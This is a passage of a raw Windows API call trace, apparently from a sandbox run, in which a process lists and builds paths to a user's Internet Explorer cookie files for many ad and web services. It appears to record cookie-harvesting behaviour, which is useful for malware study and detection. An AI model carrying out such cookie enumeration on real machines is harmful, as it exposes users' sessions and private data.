StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.808] PathCombineW (in: pszDest=0x9a93398, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@casalemedia[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@casalemedia[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@casalemedia[2].txt" [0111.808] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd04629a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd04629a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd04629a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@connextra[2].txt", cAlternateFileName="AE9716~1.TXT")) returned 1 [0111.808] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.808] lstrlenW (lpString="aetadzjz@connextra[2].txt") returned 25 [0111.808] lstrlenW (lpString="*.txt") returned 5 [0111.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a93490 [0111.808] wcscpy (in: _Dest=0x9a934b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.808] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.808] PathCombineW (in: pszDest=0x9a934b8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@connextra[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@connextra[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@connextra[2].txt" [0111.808] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0bf8fc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@crwdcntrl[1].txt", cAlternateFileName="AE48CD~1.TXT")) returned 1 [0111.808] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.808] lstrlenW (lpString="aetadzjz@crwdcntrl[1].txt") returned 25 [0111.808] lstrlenW (lpString="*.txt") returned 5 [0111.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a935b0 [0111.808] wcscpy (in: _Dest=0x9a935d8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.808] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.808] PathCombineW (in: pszDest=0x9a935d8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@crwdcntrl[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@crwdcntrl[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@crwdcntrl[1].txt" [0111.808] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@demdex[1].txt", cAlternateFileName="AEC92B~1.TXT")) returned 1 [0111.808] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.808] lstrlenW (lpString="aetadzjz@demdex[1].txt") returned 22 [0111.808] lstrlenW (lpString="*.txt") returned 5 [0111.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a936d0 [0111.808] wcscpy (in: _Dest=0x9a936f8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.808] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.808] PathCombineW (in: pszDest=0x9a936f8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@demdex[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@demdex[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@demdex[1].txt" [0111.808] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd500b80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd500b80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd500b80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@doubleclick[2].txt", cAlternateFileName="AEA244~1.TXT")) returned 1 [0111.808] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.808] lstrlenW (lpString="aetadzjz@doubleclick[2].txt") returned 27 [0111.809] lstrlenW (lpString="*.txt") returned 5 [0111.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x112) returned 0x9a937e0 [0111.809] wcscpy (in: _Dest=0x9a93808, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.809] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.809] PathCombineW (in: pszDest=0x9a93808, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@doubleclick[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@doubleclick[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@doubleclick[2].txt" [0111.809] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@dpm.demdex[1].txt", cAlternateFileName="AE28CE~1.TXT")) returned 1 [0111.809] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.809] lstrlenW (lpString="aetadzjz@dpm.demdex[1].txt") returned 26 [0111.809] lstrlenW (lpString="*.txt") returned 5 [0111.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x110) returned 0x9a93930 [0111.809] wcscpy (in: _Dest=0x9a93958, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.809] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.809] PathCombineW (in: pszDest=0x9a93958, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@dpm.demdex[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@dpm.demdex[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@dpm.demdex[1].txt" [0111.809] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a560a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0ac84c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0ac84c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@exelator[1].txt", cAlternateFileName="AE0A5A~1.TXT")) returned 1 [0111.809] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.809] lstrlenW (lpString="aetadzjz@exelator[1].txt") returned 24 [0111.809] lstrlenW (lpString="*.txt") returned 5 [0111.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10c) returned 0x9a93a50 [0111.809] wcscpy (in: _Dest=0x9a93a78, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.809] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.809] PathCombineW (in: pszDest=0x9a93a78, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@exelator[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@exelator[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@exelator[1].txt" [0111.809] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09255a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09255a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09255a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@eyeota[1].txt", cAlternateFileName="AEEA65~1.TXT")) returned 1 [0111.809] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.810] lstrlenW (lpString="aetadzjz@eyeota[1].txt") returned 22 [0111.810] lstrlenW (lpString="*.txt") returned 5 [0111.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a95900 [0111.810] wcscpy (in: _Dest=0x9a95928, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.810] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.810] PathCombineW (in: pszDest=0x9a95928, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@eyeota[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@eyeota[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@eyeota[1].txt" [0111.810] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb99a0960, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@google[2].txt", cAlternateFileName="AEAC72~1.TXT")) returned 1 [0111.810] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.810] lstrlenW (lpString="aetadzjz@google[2].txt") returned 22 [0111.810] lstrlenW (lpString="*.txt") returned 5 [0111.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a95a10 [0111.810] wcscpy (in: _Dest=0x9a95a38, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.810] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.810] PathCombineW (in: pszDest=0x9a95a38, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@google[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@google[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@google[2].txt" [0111.810] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0c45280, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c45280, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c45280, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ibeu2.mookie1[2].txt", cAlternateFileName="AEEA6E~1.TXT")) returned 1 [0111.810] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.810] lstrlenW (lpString="aetadzjz@ibeu2.mookie1[2].txt") returned 29 [0111.810] lstrlenW (lpString="*.txt") returned 5 [0111.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x116) returned 0x9a93b70 [0111.810] wcscpy (in: _Dest=0x9a93b98, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.810] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.810] PathCombineW (in: pszDest=0x9a93b98, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@ibeu2.mookie1[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ibeu2.mookie1[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ibeu2.mookie1[2].txt" [0111.810] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ih.adscale[1].txt", cAlternateFileName="AE118A~1.TXT")) returned 1 [0111.810] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.810] lstrlenW (lpString="aetadzjz@ih.adscale[1].txt") returned 26 [0111.810] lstrlenW (lpString="*.txt") returned 5 [0111.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x110) returned 0x9a93c90 [0111.810] wcscpy (in: _Dest=0x9a93cb8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.810] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.810] PathCombineW (in: pszDest=0x9a93cb8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@ih.adscale[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ih.adscale[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ih.adscale[1].txt" [0111.810] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@linkedin[2].txt", cAlternateFileName="AE4CE8~1.TXT")) returned 1 [0111.810] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.811] lstrlenW (lpString="aetadzjz@linkedin[2].txt") returned 24 [0111.811] lstrlenW (lpString="*.txt") returned 5 [0111.811] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10c) returned 0x9a93db0 [0111.811] wcscpy (in: _Dest=0x9a93dd8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.811] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.811] PathCombineW (in: pszDest=0x9a93dd8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@linkedin[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@linkedin[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@linkedin[2].txt" [0111.811] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19bb3760, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b0d3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b0d3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@m.exactag[2].txt", cAlternateFileName="AE14B6~1.TXT")) returned 1 [0111.811] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.811] lstrlenW (lpString="aetadzjz@m.exactag[2].txt") returned 25 [0111.811] lstrlenW (lpString="*.txt") returned 5 [0111.811] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a93ed0 [0111.811] wcscpy (in: _Dest=0x9a93ef8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.811] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.811] PathCombineW (in: pszDest=0x9a93ef8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@m.exactag[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@m.exactag[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@m.exactag[2].txt" [0111.811] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@mathtag[2].txt", cAlternateFileName="AE1703~1.TXT")) returned 1 [0111.811] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.811] lstrlenW (lpString="aetadzjz@mathtag[2].txt") returned 23 [0111.811] lstrlenW (lpString="*.txt") returned 5 [0111.811] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a93ff0 [0111.811] wcscpy (in: _Dest=0x9a94018, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.811] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.811] PathCombineW (in: pszDest=0x9a94018, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@mathtag[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@mathtag[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@mathtag[2].txt" [0111.811] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce87dfa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@microsoft[1].txt", cAlternateFileName="AEE18A~1.TXT")) returned 1 [0111.811] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.811] lstrlenW (lpString="aetadzjz@microsoft[1].txt") returned 25 [0111.811] lstrlenW (lpString="*.txt") returned 5 [0111.812] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a94110 [0111.812] wcscpy (in: _Dest=0x9a94138, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.812] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.812] PathCombineW (in: pszDest=0x9a94138, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@microsoft[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@microsoft[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@microsoft[1].txt" [0111.812] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18a97940, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1bfb4420, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1bfb4420, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@msn[2].txt", cAlternateFileName="AED77F~1.TXT")) returned 1 [0111.812] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.812] lstrlenW (lpString="aetadzjz@msn[2].txt") returned 19 [0111.812] lstrlenW (lpString="*.txt") returned 5 [0111.812] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a95b20 [0111.812] wcscpy (in: _Dest=0x9a95b48, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" 